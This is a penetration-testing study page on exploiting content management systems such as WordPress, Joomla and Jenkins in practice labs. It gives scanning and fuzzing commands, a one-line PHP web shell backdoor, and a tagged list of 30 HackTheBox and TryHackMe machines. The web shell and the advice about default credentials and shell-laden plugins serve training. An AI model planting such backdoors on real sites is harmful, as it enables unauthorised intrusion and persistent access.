CMS Exploitation (WordPress, Joomla): practice machines and key commands

By Daniel Dayan ยท Updated

Content management systems and common platforms are popular targets because they are widely deployed and often outdated. Identify the product and version from headers, generator tags and static file paths, then enumerate plugins, themes and users. WPScan covers WordPress, and similar scanners exist for Joomla and Drupal. A vulnerable plugin can give file read, SQL injection or upload, while an admin login lets you edit a theme or install a plugin containing a web shell. Weak or default passwords on admin panels, Jenkins script consoles and monitoring tools such as Splunk are a frequent shortcut. Check configuration files for database credentials once you have a foothold. These machines run recognisable software with exploitable weaknesses. Always back up what you change in an admin panel and remove the shell afterwards.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

WPScan WordPress Enumeration & Attack

Enumerate vulnerable plugins, themes, and usernames on WordPress sites.

wpscan --url http://{TARGET_IP}/ --enumerate ap,at,u,cb --plugins-detection aggressive

ffuf Directory & Endpoint Fuzzing

High-speed directory enumeration with auto-calibrated filtering and extension recursion.

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://{TARGET_IP}/FUZZ -e .php,.html,.txt,.bak,.js -ac -mc 200,301,302,403

Feroxbuster Recursive Crawl & Fuzz

Deep Rust recursive crawler with smart 404 detection and auto-extract.

feroxbuster -u http://{TARGET_IP}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,asp,aspx,jsp -d 2

Minimal PHP Single-Line Backdoor

Lightweight PHP command execution backdoor for quick web root persistence.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Keep going

CMS Exploitation (WordPress, Joomla) machines (30)

8 of these are machines I solved myself and are listed first within each difficulty. 24 Linux, 6 Windows.

Listed when a machine has a catalog tag that is one of: fuel cms, cms made simple, nibbleblog, tomcat, elastix, wordpress, joomla, drupal, cms, wpscan, teamcity, jenkins, splunk; or a tag that contains the word cms. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

CMS Exploitation (WordPress, Joomla) at a glance

Very Easy (2)

MachinePlatformOSTags
IgnitionHTTPHTBLinuxHTTP
PennyworthJenkinsGroovyRCEDefault CredentialsHTBLinuxJenkins, Groovy, RCE, Default Credentials

Easy (13)

MachinePlatformOSTags
Blocky IppSecCVE-2017-6074Decompiling-JAR-filesHTBLinuxEditor-mapped, CVE-2017-6074, Decompiling-JAR-files
Jerry IppSecBasic-script-debuggingHTBWindowsEditor-mapped, Basic-script-debugging
Nibbles IppSecExploiting-NOPASSWDHTBLinuxEditor-mapped, Exploiting-NOPASSWD
Simple CTFCMS-Made-SimpleCVE-2019-9053SQLiVim-SudoTHMLinuxCMS-Made-Simple, CVE-2019-9053, SQLi, Vim-Sudo
Vulnerability CapstoneFuel CMSCVE-2020-17463RCETHMLinuxFuel CMS, CVE-2020-17463, RCE
AlfredJenkinsPowerShellToken ImpersonationSeImpersonatePrivilegeTHMWindowsJenkins, PowerShell, Token Impersonation, SeImpersonatePrivilege
AnthemUmbraco-CMSRDPOSINTTHMWindowsUmbraco-CMS, RDP, OSINT
Armageddon IppSecDrupalHTBLinuxDrupal
Blunder IppSecBludit-CMSCVE-2019-14287HTBLinuxBludit-CMS, CVE-2019-14287
IgniteFuel CMSCVE-2018-16763RCETHMLinuxFuel CMS, CVE-2018-16763, RCE
LazyAdminSweetRice CMSMySQL BackupSudoersPerl ScriptTHMLinuxSweetRice CMS, MySQL Backup, Sudoers, Perl Script
SkynetCuppa CMSSambaSquirrelMailLFITHMLinuxCuppa CMS, Samba, SquirrelMail, LFI
VulnNet: InternalTeamCitySMBRedisTunnelingTHMLinuxTeamCity, SMB, Redis, Tunneling

Medium (11)

MachinePlatformOSTags
Mr Robot CTFWordPressWp-loginDictionary-AttackNmap-SUIDTHMLinuxWordPress, Wp-login, Dictionary-Attack, Nmap-SUID
Bastard IppSecEnumerating-CMS-versionsExploit-modificationHTBWindowsEnumerating-CMS-versions, Exploit-modification
BenignSplunkTHMLinuxSplunk
Boiler CTFJoomlaSar2HTMLSUIDTHMLinuxJoomla, Sar2HTML, SUID
Hawk IppSecDrupalHTBLinuxDrupal
Investigating with SplunkSplunkTHMLinuxSplunk
PS EclipseSplunkTHMLinuxSplunk
Runner IppSecTeamCityCVE-2024-27198PortainerDockerHTBLinuxTeamCity, CVE-2024-27198, Portainer, Docker
SmolwpscannmapJohn The RipperTHMLinuxwpscan, nmap, John The Ripper
Surveillance IppSecCraft CMSZoneMinderPivotingCVE-2023-41892HTBLinuxCraft CMS, ZoneMinder, Pivoting, CVE-2023-41892
VulnNet: dotjarTomcatGhostcatJAR-ReverseTHMLinuxTomcat, Ghostcat, JAR-Reverse

Hard (4)

MachinePlatformOSTags
Daily BugleJoomlaSQLiCVE-2019-8942Yum SudoersTHMLinuxJoomla, SQLi, CVE-2019-8942, Yum Sudoers
InternalWordPressJenkinsTunnelingDocker-EscapeTHMLinuxWordPress, Jenkins, Tunneling, Docker-Escape
ObjectJenkinsHTBWindowsJenkins
RetroWordPressRDPCVE-2019-1388THMWindowsWordPress, RDP, CVE-2019-1388

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.